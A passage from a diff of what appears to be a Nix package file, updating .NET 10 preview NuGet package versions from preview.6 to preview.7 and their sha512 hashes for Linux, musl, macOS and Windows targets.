     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Etq6qbPIzEV8Z3+w0C1ibreDduKkAF1zZOGfvcBz3sjAC9sWs/qflxfKGZ7tBKhEV/A3vZWKNGyxYKnawCtC3g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-oskWoBpDhGI4WBOJPFTBIirjUdSs7hvHKGuz8OQmrByyv8C3rY9jtt+sM45uqINoGNyYsgbUQkQlKFhIB+mT+Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-SINZNHzxrKbgD7VGAx9GDMIlMOmXSpqWIeLpmNpPTm2D7F+NfXv2lVLxLl0nLUAJ70ipI51HdHGyrKXTOaFO8g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+/apDtwjBvmEn40DJ4yPOYqCsgIfhrD/zPYY15A6ny5kN1n6uV8LgUce9vv2HatRsD4uOuepD2z22/TbB8GjLA==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-t2YTlMAHq+V8K8TnsFhUudCqiV5CElb/dk2tFmZ61Td4gyLY/iz+4q5lvpGAZOlCFddTtublSbIC3n4EH3liEQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+uZHCjs+FlbFU2StjeANC3vvYjWd+6PlhIX0F8sHS60u3U9/HEi4JECQ0vhak5ODJCi+wktEKZQ53DwGAvPbJQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-lEaH55DO++s5EKEHfODZkF279HI5DROQgaTif93wcMg9mhL5kPHnLhi9S7qTMFKt+GQfmZWMlwZd+L6GVz+RVQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-mtm6VWoDGYg7qlqF6sFlf8LBEbGOL6ZCSoqzZ7hmDBy9UIe0AswL0d+AhsDOE5ewHifbK+vGqXeK83ZdL/1IRA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-zuh5p3Hq0ejcgbCe3IaVOj+mItbRve25QdIXaGirOfDuO2a5fGXSO8RtgFosw8ar2jBSG3qL6loMFqqgkiEuVA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-/X/ugPn9DMhWz26lDvuSlBqX/s56B7Sl/Qkd2/Jy5iYw64+9tOFo0Xh4kz0fF5nOj1H9RbKxIaNfPVc41rxvIQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Ivl/uKKvVrgGxfbC8SSz5N1NZRi39PQ5ZXfsECiSsiNR2ls02Wy2Icy5mLRUGCFY4FMILAKsgfJRKejafqGxyA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-/SiUD5N7pwkJ4mK83CBkre6oOB76BTJ7lJUTDDw3t8F6HUJS+3i6Cx9sODd7BS7TXXA5ahql2gcfohVsaFsR9Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-zTiRlyK4ElT/MES3AX1bLRcuX3lY3NXlwL89YTyEjuHrqjCpxEbHfsoznqYd7zLAF1itzvNnxDkqDPoXat/zZA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-WKqXIohGOzMUpDOsAEpknxj93fSuTzSdP7X/Ud19dggmqwPKMIWN5NZpWlBLdyP8+NMwLyNM/aR4uCtNf7MT2A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-sSi6F1x2UVJe5Jp8RbURsNGVxFFPyxq6P8ZlV6r9dimYM2KkDyEOtcZ0hHSOtmMU3rghzZYksvSKv7+9fAYUNA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-GQokK1ugeF0JQi0IfkyNDm5nIVCKpH6V8zSskBRSAH8O5U4iVImpDkqBg1icxUFIAaVyiMi6GJB0CkTD2cC+yQ==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Qj4yn5t5k+lGY8dBPwh0jLQOXoilcVvwpmyxJp8LJHoOM8EmGjRoiCy68sRXGTQMt5d3iNIdV93rX+fXu20rlw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-X15A3yBhigC8T81Ut1Zqqay9HzfCjjwLh1QDbHL2XggIWiGzkDf4hSX7qnkbki12DdFZP5p0xDFiYsnEBTGNgg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-b26YbRN+y0LrdVq32iV7gUmi8sY4vY+P8GvaqiPTcJBH20OSfrsvDhyM08qMs6hCDo17xL5hFdLt9BSBfqcrOw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-vNMheP+ysMxIiINElw4ebu7O8KHDz+l2dYTlP9zfBllo7eJW3XX0k7kOP0nYke78KFhheXu2JUHAAEZVhazOUA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-IoNNvrZ/pKBwn/XSvDp1saM2XHk1ZOKxrA4lDyrL10/s4IS8hRo/Yv3qs+ihWpwVStORW3lh0YIxQhMDHbMkzw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-478qsicUIxQcpq/UGGoNNLRbUldl34RRZqxDdRl1HqC2D4aUdCpR3MEU5vd0zcbHxkegfPfgQgsv6xfIt+k/Ww==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-/D+xqMtDuo8ji4FPJm5EsEORBGEsbcHHYIjZDiEHP7ltIexg/oOSwuyvepvV+mK46Q4uyQU9zuBVZaG5FdKU0Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-fDGfrQnqXasfMLIUs2xVvLNxWjN0w7HypZ22wYG0y8PkN8u3vpVIQz9tYgUgEXvxKpFLYq1L2EcxksY6reAWug==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kEXLQCzNVAnwkQ58qiO7lUOuO6WJSMlNmnQxx5o1RTiMIoqrgfjMazn5bpL5DPeZjMhWcB4kary/3Vkj06xRtA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-WE52ljXg7k8/ry1wBJ7lqrKniEZgwpMtuf7m82tMtuc30k5X+1nAbOa2evezPgjsXrB3k78uertzT+GoSRX/fQ==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-z0RiU5O+4aelPS7+JYakKFXrmczOzTYp5sptrRoz8H2zM0Tbvwc7sX3pT2F5ZosBEaub37XJKrwSdvpdHoe6/w==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-TY4LXwPBf9d0vOpzCkV8Ze9e/Tnn4V07FkSctLB6Vc6XreNkVqEQcB1TuUQZOFc7pXBvpImRAD5mAfuLVNohDA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-CRQl1RVkbfaLnYOEO4ApZ6Py1OG8zJjwU0UkAcIhg7MqsGgZcathISOzlDYayxqdbp+Gga21aaJJZbL0TSPkdw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-UBWg0zDyYiiy3wXtxmRqaoAvi2hpXGGJ4VxoKcqgD927ftcYXz80g5dFDtk8zof3CVnfXHgaDCm40jxOrYU3qw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-UjSZtTgg1EEmNJeI+Esg2pMNjSb+lCy0VjwkUIVUJA6vezRNsb66NjsO5h4rvSMS2VhoKWGc7jbNV1AKRj891g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ZHAexbNsU0DMvR9vVqYldw9m+wyqLM5AVZyx6E6Lgk5JzjgDI9rFfDI2h+UGi1WOJyKPDKrjyLWG5phtGC6ytg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-h8mVEj/5JRPzKcDpoHvnQ0wt7nn7+euuPKLDtWH4yiAWztH8CX6udfHqjIE103USfpfMKEEcEWRqOe877rgp2Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-HmKdrzhgbW4ikm6lKWgaBm5OokH7aPyGuaniMHvRKnHSeUxDYMj2PU/ZSIlIxTntxELeTBd+ZcJlknJqR7Duuw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-rXmRirmXSlmvrc4lY76+eK6UoXIi78sUSDggleEYs6Mwip1PWWQ1bg2Bi3tpxcRgF1MBOgHhiz37lybWaS1y7A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-bPfmwsqmA39Vfa+Uu9mH1eaCJZo/qd+/O0aOYRhjSrypYBQK2AIif8lq7zYxhOR2U5AhvkkeqLNnaEC3spTHiA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-sw5cXyvNbbXyDkmnPJqNgSnOeDFdl9VL7OfA4kA2GcPCujXhnElVmF48rwibVtoYmDUe940zKPjUAeuXmmOH+g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-OSpFCcAHBwfDK4bY6zNDfbtY+fKY6koEgvfVyk6OtdUI+dOM/Jjw9Kyxiqe1S8JC5dm3366+AFdqF2ZWbMW4fw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-BYeSSlt4ck/kK7L9I+OYdI+aklnF9JDNaHyIQ+nea+E/e6qqENxlgDPzJKwTKAX4XdIF7Rc/Gk14PuYBpC7+Ew==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-gFoRuWxJUSjqz8meGfPQhK/xI8LXK0/z2mOiVWfwFBO1lMuPUWFrzlUvoPBHhZSYj7578iHtUog8r/tnnK6+Bw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-poxX0QwFAsVfHDfH85V0BVd5dEtlhr+/3rPhCe5qhkFscmUM31BcD1ABbzdxYt/PRJKnKMCCA/tOHhMU5rUieA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-BLvup3LOAkOw5G/xJ0j9pcTNNQuPLibW0u5bTVAmMYYZny8b39xNWWVqNQ8Rl5jewPko/8luoany0SbHZ+GUpQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kPsplrPdJ9VmThmB0kXTumkVG0WikMbkSRzGVyNU/Ploa9Cvv80PnCxF5VBAqRV1l/l3qBq9TZQV+7c6mIef9Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-2NeuUX5T7ZRuc76byZXf7cLXYTK5fGufEbrjEXRlBMXyI+vQ8x+6BR+hbqef9JGylT8pcLv+xL11Gx39vk2KmQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-LOoGtTUAg4/m9912v1s4yvh/wx64gRW6+052ZpHphizEbI/mvy5MGZpxS/WQHX34+RDXIG90CpdT7caL5iC1JA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-iZO21GJ4K+PjcH9Gn/OUVQrBkkfCVCifO+PsQItVuWuenEOwAShzCfz8E5icd/INLIosoriCyRV777jpjxHZXg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-t10QcEDpbrSvoe2BhUCtqOAqfXayzy9uujpiIeAdOyptGmBppA37G+F4cCRsIx6wzhCSrdPkYoh1KzD4rqqlyA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-SAKw8xQa/VBWOumG7JmId0UIKUs2RM8tnl3KPXJ85mjnrrP3wJLWynNf6v/hMxdxqjAOIb2Y6AIGwK4zFzA97g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-ykHn7VUDn711h67XQd+nx5Tn0L0vYWQY8kKWqqTXm/mBEM5CjoMd9qft6jirusGORVxC5RAnUENDt5n48B4xfg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-PTVNAmlIQRHnMCcw8Pm5+t8eLLtwyZ1J6lUjTcZ68dU9FGXIySRr750lekvMpBugMjmXIsNw0VQvg9AnL5SIDQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-6G+05BJAEjErJMixdkEAndBjgaCe7WmasdRypKPtYRfzvPVExrq/nak0ZiaJ0Dd3WuYdbi69Qyeuhj7atnAImw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-VbIqcklAsQYAAV5CTXo/6NAa6lkirCeh1XF7Yo2D6xZmkwLbQsKfNF1jpiwYr6luiVwJCkIA6p/owsPAZT42gA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-xjepU2UUYCP30YJHPdX0PN6C0ZqP2RKAEsJWpnNSlYQ8fcDHgy+l5ZTQPBD4egfWKlPCEtgSZod3p9nTggSoDA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-H5a0wdzBU4tWXtTkYcgHsezWolqD59sDLSlDdOGE/OF7p3X1AijCo1BKCb/ub+Qn24dXoS7RGQf4TwmPP/fDdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-NORvYn5NilmBCZzLwrWXEPI7WeEKKwIHzh5USjQHQLsSoiWcOSZVKQLkqK2baSFjGktLyHmHRUQ6VnTggDuPeg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-DpKE33FA9NYJXAY5SbKcIfAvU5RyH30YqhCXxHi/NYfEcR6e5hrzn4992S6TpUQzeYHeJHprfXEQGK+x8bWTqg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-tMM7GajJVqT1W1qOzxmrvYyFTsTiSNrXSl0ww5CYz/pKr05gvncBdK0kCD9lYHruYMPVdlYyBCAICFg1kvO7aA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-prERCrIwyGg735ahEDi15HwriaDnwZlQidlFkiDSOuh4EJTXLqbYvwJxSygCNIgKAivNEwt5HuqAR0WxIzxLJA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-wUU31YeB3hCc41XTTSXbhuYKKSbFv3rQb4aO0d93B1m8xPZfUpYA121ysuwaaiPgHvFK27wfYBHAAO82d1Tbsg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-gI8nk0A8LtN/NXufax5tgmoxnAFvG9SUA+yGfBz82HlAvwZkWeQsNjZav06LsIdBgY+34oJqPfhGFWki234b3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-eQ28Igd0kDwNnBeaXvQul2U4Za4KTkBJ2hF5gi6/8xL8tJAIvpSiuHrcspBB7oqr9/uOU6R4eR7gDmOH0OVRaQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-6deTINJifUd+6BioAPScqa94hbH35wweO3UazZ0Dob4GFoSxD/z7jUjRIib/HmyhXz+F/QMOZapPNN+qNsmEPg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-zHJSkQl00ygE1BBWjjSZgQmT+rpX/ZoNvU3az2Vfk0D9tqM4+zQ0M0IdBw0Eu1Wr46LeifWIScp4pTvzBB0R/w==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-T93T3DT3SakSQcwaB9SFTT6R38hEh0/52bM+4IqvFAo1EAKx3eXiKezE3bMSjOGKHxKzb71Rp1d9Jflv6capLQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-RaDmfdtde+m27g31HXvBUJme7NUUT07bv5+Wp3mPH/FXE6tT8W1DvG9XNRcT2rIEDq24ktpfyBiNbN8fieBfqw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-dnHqxZvkLe4SubfrXiPhb08qkj2FOrdCBWLHo/Hd+pSop3C86rCTRJY454LrPwjnktjnQf/X0b4anadwOkckrg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-723qKUmFeBKN0yfsf9zhP3k5ZKqK4UYvdKbDL80oyhzm4gQZ6tsUU4fHeHjJVJfqyN+wKS+R0WthyxhA9m07/g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-8r/yMsXff3vlFUaRzlHKnkd/qxmbo6FzATU4d065j8YTNZcduF/uKiOKijwXSd96nj216RjCUIJWrcH72c5H6Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-hPcjYztP9miyYl+mqvTqoEqaa+fp+kCFVrROIwUEDBMNs6Urk76qsWJWE/uI9kLBh1zTHiDsWlXDiOXcftVBxA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-D6qubx3bzbfdDMJw1CcUJdPR2w2oHmOt/ur4q4Pi8cdFueROux3u2bcuurKmx2eZvHhYVKnL1njTxWDVHUM1OA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-IG7yOIrrLUvA22aUGR7g9VtXK3WGCsID9TokGqET+LoO4QTLlFRYjbrsUkvttuGUHftOTgDh+4abzkcqaTfd6A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-neXYzUGCn4zBhHa4+9NgG6c0ulwsfGczrrH2hqJcwf16fNtBgfe9L+JnwRctrVVe7iOci/qYh69c36OlCsREug==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-3PwE2oDr4+n93nPZbHz1kgJkpdus91UR5IXKnMWMMxcEq+VgNvNpU4+M+khwPOXSmxK9LY6dsd9beQVIFtrDVg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-D8SDjyznO8H+3w5eAuL1pl+JZ+4S8eXM8gIMuNaDXvBZv43lU2by27Gk+Ue4eH5zV+462fBtBvqZtaETgfPsgQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-QVYtaGiLQ0bWTiav/cc2Ps+PQ9co8EmTW8NAzlf835camz7gdjZHKo5/z4FOVUHVftCY9vn2yBuBcwceI6f+Bg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-vk6trHjpJkCveABOceuodbxeAefojPqaUCGwU6HXinNgu281I/iEF7Afj6mJBLHxaPcvlFQjAjbRhll1SwcSNw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-4ktCvzYslGK2G2CLPy4As8rbHGPtQw0RA5VC9WxRmRpDH/3cyicFbRaBRVc2y19p0tV9nMC9KdaFyptm80lQZg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-r1LB1Ilq1/Pf71SubpoHU53s5bjfHY/TLQUhG2R3AGFMe1S2J6H35pkXuCdwBH+x99AX4khX1zw00BCYP5liVQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-MPUbFdcUXGrfUpdNmcPvq+EdaBLcl+4+nsbUwftOT1041DpIUkFfDzgWNWVMjPG3Prf3K0iKPtvdKx9bdUlq6A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ovDMqhvYv4o6P/AjvAh26EcSs6auYHe4YBgWF7SBLgB/r1xOvjlRZRuVL7znu/js0CwTH7h8w/YvW+q1+Tzw/A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-CtxI7P/Il0bLfPXN6ofeL4Vm4ISp3TjvRBZt8MkACaTErFseNiwIIAKNqZ+d9lIxj1MDGA5fCfVn/0PsGIksRg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-K7jCpNm0lYr/dHheLoaPadsd9q8oQ0X+iK/rJkeKrZ76FLzAvcC1FqX9yXICwAW44m63bXcmg0ggra1+yXx0/Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-p18BC5bG9/0ktSBUvxZOqPpr9qkS0Z6G71GViCAzjtV+fBllt6OE7T0rSvOZ14FjZFcSqMA2HZ60I3H93cK6TA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-R7g8lya69aqDY/iAIIoX8TnbxEJxBIxvuqD0zrcEuJgRh33b2xys9OAT2NmyZH3GWdTZ5UPiolJ2SifKNE1ztQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-T9Rhlb0Ivsaev2JNEKRLRoc5pyowBy+meS7GzijwfHOEviRw2rMpPNK+8DoygI8HRetSnjLghMlzdcfURF10LA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-tPbKNB5TVRIAHyts6RMV2AP7pnmO/1MRtfTByCqTkTjH945dJ8+2r4ytMIoQ3ooVLi00yll9w2tDL+XnuNT3xw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-7SI6G+CVFjxrcgJny64fmvOp4Pz02EXrhlKJdEKoht+enh8c/1pY55cgR5jq9GWJ9iJNtV9/sDUiADK74NWWKQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-W18K405wGThiTnn12Mi0K6KXznjPZX87mX9APiq+nbKIsMmGC+r7cyIPgy9hmggnTb3qqv1p/0PACRD6NXm0CQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-ui1NVLgK7tEN1Xv+MO8FRovfg1OR4sKGf5GXHz2CN88GLkzznp5m9sSAETN2IPueRV+aaQ8JFaLEEw1QOdlh2Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-K7fKG8YuufAgq6VcvotJH/D4uHmcjg/X9TwWq8EmbyysqyNCuMkg6a1torpyaomdooKSZ0LSOodqbo57B6jERg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kTwrqjATCL5woNksB+G2B39lOIUkxLnouFruipzLnsDKSxG50pKIhxWUkrwTfwatL/zQasE+aVlwEfSQAxQteQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-alvGXGuLfWb35dOybu83zGbH9VyIJRf17FEhF6yrNGvg8gJ3SwpU/N2uGnuxI1TIb8dFlKq3FoE2hqfxWAERKA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-86sGYDN7tFGBhAUacYgosah0TTIMT1czQtKHb6vKXOGo1wWAYa+MsGXrdUA6o3rpvybL8rbRANQ1tarIfui4Bw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-8345qvf7b3Q8hoqXErpJTWQeLmBV3GFUNa/hp8eCglnY5WWbnfd/muQAdA5zUoOX/8fMA4TILhZx2K0M8k1/mw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-VkXVbi8EbajQYu5pge5VCXxWGhHJtLivHM+rqHt78b8w2IpYfRACV7lqEU1COg9D3sZEG5oLOzKLCCN7lSiekA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-um95x3i3Jdyat4T6HTXP9I0STmsqJyuTWmZwCg/5EPNWMX1fm/OIFIoUQ9lX2kplPyq6Ys0hmiBaVcHOHGThgw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-CUdm0Uw4kGSk6oVm8QZLSwxngMFmbNoiFXve2hT0/Csu4mJe6ttV8C/Y0VLPBJr3GmoovOzMeH3coQfEf2YvBA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-LneCr0cNCIEYVfDI2Ab++j+baaKut+pqTsCb3R9FAp9pqYVXveSEXn8V4xx+N0i//SQx4i9Dkd+oYGERun9k2A==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kV1DnmxJrCauIvUfNe4wC4Yi888dzxxf7sYT4W/apnCSHvcjueYEZOGtoLSirsJJrn5aj9OeFVz+bAbd9nurxg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-xr4GBhH7aIMfPXjv+CuGZI3h1PZc+yETwn3/9UMOXXNxgM1zrkCR1p4I8rQNpwVPd440P8pReq2AWrdbLX7kTQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-XsP6i0SHVuDjS0IWBC+/3QXDJO+3ARuFbPSu9fRjR5NkK5/A4lQpBWJRymTzqWHzmD0DLYMEfwR+3mdG2A/StQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-slvRNr3ZPyyGLrOFEPVF91TD6BJcC7/UKrowVg0XGq37IxTeicrNLhs7PE8qmVGBgUTiKcqxEU7DXI2/qBh9nA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-UsW6m9/wuBUWM8SU/PHsn+9GQMRp4i00KfWDzE/s6rnCs40WRvy5Zcj923XMy05Bt04dhSrOOmDR1/vkydaysg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-1JBZRsQMZ4mCN0rS+F6wwP7s7+es+uwx6hG9ubUuccJYjCEAWwDg3vBVAbQqwMOF9rdbqOLFbkbvawOT7BHAaw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Btz15yrqllW8cQ82bDOMB+fo1ONv4j+BvpZGQTt4zwqgyxq3qznnxVHrMxiG+UUwhDlD4ajCGYuZCjHECODTHg==";
